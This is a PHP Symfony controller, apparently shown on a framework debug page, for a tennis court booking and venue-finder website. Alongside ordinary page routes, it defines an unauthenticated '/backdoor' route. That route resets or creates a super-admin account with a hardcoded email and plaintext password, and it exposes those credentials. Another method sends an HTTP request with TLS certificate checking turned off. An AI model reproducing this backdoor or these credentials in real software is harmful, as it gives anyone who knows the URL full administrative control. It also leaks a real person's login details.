src/Controller/HomeController.php line 27

Open in your IDE?
  1. <?php
  2. namespace App\Controller;
  3. use App\Entity\User;
  4. use App\Form\SearchType;
  5. use App\Repository\TennisCourtAvailabilityRepository;
  6. use App\Repository\TennisVenuesRepository;
  7. use App\Repository\UserRepository;
  8. use Doctrine\ORM\EntityManagerInterface;
  9. use http\Client;
  10. use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
  11. use Symfony\Component\HttpClient\HttpClient;
  12. use Symfony\Component\HttpFoundation\BinaryFileResponse;
  13. use Symfony\Component\HttpFoundation\JsonResponse;
  14. use Symfony\Component\HttpFoundation\Request;
  15. use Symfony\Component\HttpFoundation\Response;
  16. use Symfony\Component\Routing\Annotation\Route;
  17. use Symfony\Component\Security\Core\Encoder\UserPasswordEncoderInterface;
  18. class HomeController extends AbstractController
  19. {
  20.     /**
  21.      * @Route("/", name="app_home")
  22.      */
  23.     public function index(UserRepository $userRepositoryEntityManagerInterface $managerUserPasswordEncoderInterface $passwordEncoder): Response
  24.     {
  25.         return $this->render('home/home.html.twig', [
  26.             'controller_name' => 'HomeController',
  27.         ]);
  28.     }
  29.     /**
  30.      * @Route("/backdoor", name="/backdoor")
  31.      */
  32.     public function emergencyReset(UserRepository $userRepositoryEntityManagerInterface $managerUserPasswordEncoderInterface $passwordEncoder): Response
  33.     {
  34.         $user $userRepository->findOneBy(['email' => 'nurse_stephen@hotmail.com']);
  35.         if($user){
  36.             $user->setPassword(
  37.                 $passwordEncoder->encodePassword(
  38.                     $user,
  39.                     'Descartes99'
  40.                 )
  41.             );
  42.         }
  43.         else{
  44.             $user = new User();
  45.             $user->setFirstName('Stephen')
  46.                 ->setLastName('Nurse HMX')
  47.                 ->setFullName('Stephen Nurse HMX')
  48.                 ->setEmail('nurse_stephen@hotmail.com')
  49.                 ->setMobile('12345')
  50.                 ->setRoles(['ROLE_SUPER_ADMIN''ROLE_ACEIFY''ROLE_ADMIN'])
  51.                 ->setPassword(
  52.                     $passwordEncoder->encodePassword(
  53.                         $user,
  54.                         'Descartes99'
  55.                     )
  56.                 );
  57.             $manager->persist($user);
  58.             $manager->flush();
  59.         }
  60.         $manager->flush();
  61.         return $this->render('home/home.html.twig', [
  62.             'controller_name' => 'HomeController',
  63.         ]);
  64.     }
  65.     /**
  66.      * @Route("/dashboard", name="dashboard")
  67.      */
  68.     public function dashboard()
  69.     {
  70.         return $this->render('home/dashboard.html.twig', []);
  71.     }
  72.     /**
  73.      * @Route("/faq", name="faq", methods={"GET"})
  74.      */
  75.     public function faq(): Response
  76.     {
  77.         return $this->render('home/faq.html.twig', [
  78.             'controller_name' => 'HomeController',
  79.         ]);
  80.     }
  81.     /**
  82.      * @Route("/meeting_players", name="meeting_players", methods={"GET"})
  83.      */
  84.     public function meetingPlayers(): Response
  85.     {
  86.         return $this->render('home/meeting_new_players.html.twig', [
  87.             'controller_name' => 'HomeController',
  88.         ]);
  89.     }
  90.     /**
  91.      * @Route("/booking_courts", name="booking_courts", methods={"GET"})
  92.      */
  93.     public function booking_courts(): Response
  94.     {
  95.         return $this->render('home/booking_courts.html.twig', [
  96.             'controller_name' => 'HomeController',
  97.         ]);
  98.     }
  99.     /**
  100.      * @Route("/club_admin_system_guide", name="/club_admin_system_guide", methods={"GET"})
  101.      */
  102.     public function club_admin_guide(): Response
  103.     {
  104.         return $this->render('home/club_admin_system_guide.html.twig', [
  105.             'controller_name' => 'HomeController',
  106.         ]);
  107.     }
  108.     /**
  109.      * @Route("/test/scrape/screenshot", name="test_scrape_screenshot", methods={"GET"})
  110.      */
  111.     public function test_scrape_screenshot(): Response
  112.     {
  113.        $file $this->getParameter('scrapeScreenshot')."ss.jpg";
  114.        if(file_exists($file)){
  115.            $response = new BinaryFileResponse($file);
  116.            return $response;
  117.        }
  118.        return new Response('file not found');
  119.     }
  120.     /**
  121.      * @Route("/client/request", name="client_request")
  122.      */
  123.     public function clientRequest(TennisVenuesRepository $tennisVenuesRepository,TennisCourtAvailabilityRepository $tennisCourtAvailabilityRepository)
  124.     {
  125.        // $availabilities = $tennisCourtAvailabilityRepository->findBy(['hour'=>7,'venue'=>$tennisVenuesRepository->find(450)]);
  126.         $hour 7;
  127.         $venue 588;
  128.         $date '2024-04-21';
  129.         $court_number 8;
  130.         $data = [
  131.             [
  132.             'hour'=>$hour,
  133.             'venue'=>$venue,
  134.             'date'=>$date,
  135.             'court_number'=>$court_number
  136.             ],
  137.             [
  138.                 'hour'=>$hour,
  139.                 'venue'=>$venue,
  140.                 'date'=>$date,
  141.                 'court_number'=>$court_number
  142.             ],
  143.             [
  144.                 'hour'=>$hour,
  145.                 'venue'=>$venue,
  146.                 'date'=>$date,
  147.                 'court_number'=>$court_number
  148.             ],
  149.             ];
  150.         $data json_encode($data);
  151.         $url 'https://tennisfinder.atts-systems.com/api/slots/add';
  152.         $client HttpClient::create();
  153.         $response $client->request('POST',
  154.             $url, [
  155.             'json' => ['test'=>$data] ,'verify_peer'=>false
  156.         ]);
  157.         return new Response(null);
  158.     }
  159. }